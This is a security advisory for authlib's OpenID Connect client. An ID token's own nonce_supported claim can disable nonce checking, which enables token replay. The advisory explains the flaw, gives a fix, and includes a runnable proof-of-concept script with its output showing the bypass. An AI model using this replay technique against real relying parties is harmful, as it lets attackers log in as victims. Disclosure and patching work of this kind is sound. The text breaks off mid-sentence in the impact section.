GHSA-c5mf-xmp2-59rc Authlib: ID token can disable its own nonce validation via the nonce_supported claim

• PyPI authlib: < 1.9.0 → fixed in 1.9.0

Summary `OpenIDMixin.parse_id_token()` reads the `nonce_supported` claim from the ID token it is validating. When that claim is boolean `false`, the expected nonce is set to `None` and nonce validation is skipped for that token. An ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party. The code is identical in `authlib/integrations/base_client/sync_openid.py:82-83` and `authlib/integrations/base_client/async_openid.py:84-85`, so all framework integrations are affected. Fixed versions: none; reproduced on 1.8.0 (commit c529a61a). Preconditions: the ID token must carry a valid signature and pass `iss` and `aud` validation, and the attacker must be able to supply it to `parse_id_token()`. Authorization code flow is not affected. Implicit and hybrid relying parties, and applications calling `parse_id_token()` directly, are affected. Details Affected code `authlib/integrations/base_client/sync_openid.py:80-85`, in `parse_id_token()`: ```python claims = claims_cls(token.claims, token.header, claims_options, claims_params) https://github.com/authlib/authlib/issues/259 if claims.get("nonce_supported") is False: claims.params["nonce"] = None claims.validate(leeway=leeway) ``` `authlib/integrations/base_client/async_openid.py:82-86` contains the same code. Source of the claim `claims` is constructed from `token.claims`, which is the decoded payload of the ID token passed to `parse_id_token()`: ```python token = jwt.decode( token["id_token"], key=key_set, registry=JWSRegistry(algorithms=alg_values, strict_check_header=False), ) ... claims = claims_cls(token.claims, token.header, claims_options, claims_params) ``` `claims.get("nonce_supported")` therefore resolves against the ID token payload. It is not read from `load_server_metadata()`, from client configuration, or from any other source under the relying party's control. Effect on validation `IDToken.validate_nonce()` at `authlib/oidc/core/claims.py:69-83` performs the comparison only when the expected value is truthy: ```python nonce_value = self.params.get("nonce") if nonce_value: if "nonce" not in self: raise MissingClaimError("nonce") if nonce_value != self["nonce"]: raise InvalidClaimError("nonce") ``` Assigning `claims.params["nonce"] = None` makes `nonce_value` falsy, so both the presence check and the equality check are skipped. No error is raised and `claims.validate()` completes normally. The docstring of that same method states the requirement: > If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request. Trigger condition The comparison is `is False`, so only a JSON boolean `false` activates the branch. A string value `"false"` does not, and nonce validation proceeds normally in that case. Origin The branch was added in commit `3ca7333c` ("Skip verifying nonce for Apple case") to accommodate a provider that emits a `nonce_supported` claim, as referenced by the inline comment pointing to issue #259. Remediation Read the flag from server metadata or client configuration rather than from the token: ```python metadata = self.load_server_metadata() if metadata.get("nonce_supported") is False: claims.params["nonce"] = None ``` This preserves the behavior for relying parties configured against a provider that does not support nonces, while preventing the token from determining whether it is subject to nonce validation. Proof of concept Environment • authlib 1.8.0, commit `c529a61a` (tag `v1.8.0`) • Python 3.14 • joserfc 1.7.5 • No network access required ``` git clone https://github.com/authlib/authlib.git && cd authlib git checkout c529a61a python3 -m venv .venv .venv/bin/pip install -e . joserfc==1.7.5 .venv/bin/python poc.py ``` Configuration The relying party is a subclass of the shipped `OpenIDMixin` supplying only `client_id` and `load_server_metadata()`. `fetch_jwk_set()` returns `metadata["jwks"]` directly when the key set is present in metadata, so no HTTP request is made and no part of the validation path is stubbed. The signing key is a generated RSA key. All three tokens are signed with it, carry `iss` and `aud` matching the relying party configuration, and are within their validity window. The relying party's session nonce is `nonce-the-rp-actually-generated`; every token carries the different nonce `nonce-from-the-captured-token`. poc.py ```python from joserfc import jwt from joserfc.jwk import RSAKey from authlib.integrations.base_client.sync_openid import OpenIDMixin ISSUER = "https://as.example" CLIENT_ID = "rp-client" KEY = RSAKey.generate_key(2048, parameters={"kid": "k1"}) JWKS = {"keys": [KEY.as_dict(private=False)]} class RP(OpenIDMixin): client_id = CLIENT_ID def load_server_metadata(self): return {"issuer": ISSUER, "jwks": JWKS} def id_token(nonce, sub="victim", nonce_supported=None): claims = {"iss": ISSUER, "sub": sub, "aud": CLIENT_ID, "iat": 1000000000, "exp": 4000000000, "auth_time": 1000000000} if nonce is not None: claims["nonce"] = nonce if nonce_supported is not None: claims["nonce_supported"] = nonce_supported return jwt.encode({"alg": "RS256", "kid": "k1"}, claims, KEY) rp = RP() SESSION_NONCE = "nonce-the-rp-actually-generated" CAPTURED_NONCE = "nonce-from-the-captured-token" cases = [ ("[1] no nonce_supported claim", None), ("[2] nonce_supported: false", False), ("[3] nonce_supported: \"false\"", "false"), ] for label, flag in cases: tok = {"access_token": "AT", "id_token": id_token(CAPTURED_NONCE, nonce_supported=flag)} try: user = rp.parse_id_token(tok, nonce=SESSION_NONCE) print(f"{label:34s} -> ACCEPTED sub={user['sub']}") except Exception as e: print(f"{label:34s} -> REJECTED {type(e).__name__}: {e}") ``` Expected result All three cases carry a nonce that does not match the relying party's session nonce, so all three should be rejected. Observed result ``` [1] no nonce_supported claim -> REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce' [2] nonce_supported: false -> ACCEPTED sub=victim [3] nonce_supported: "false" -> REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce' ``` Case [1] shows nonce validation rejecting a mismatched nonce under normal conditions. Case [2] differs from case [1] only by the addition of the `nonce_supported` claim and is accepted, returning the subject of the replayed token. Case [3] confirms the branch requires a JSON boolean. The script exits 0 and produces identical output across three runs. Impact Type of vulnerability Reliance on an untrusted input in a security decision (CWE-807), resulting in authentication bypass by capture-replay (CWE-294). The nonce binds an ID token to the browser session that requested it and is the control that prevents a token issued for one session being presented in another. Because the flag that governs this check is read from the token itself, the check can be disabled by the data it is applied to. Who is impacted OpenID Connect relying parties built on authlib's client integrations where an attacker can supply an ID token to `parse_id_token()`: • Implicit flow relying parties, where the ID token is returned in the URL fragment. • Hybrid flow relying parties, where the ID token is returned in the fragment or by form post. • Applications calling `parse_id_token()` directly on externally supplied input. Both the synchronous and asynchronous integrations are affected, so Flask, Django and Starlette deployments are equally exposed. Relying parties using plain authorization code flow are not impacted, as the ID token is retrieve…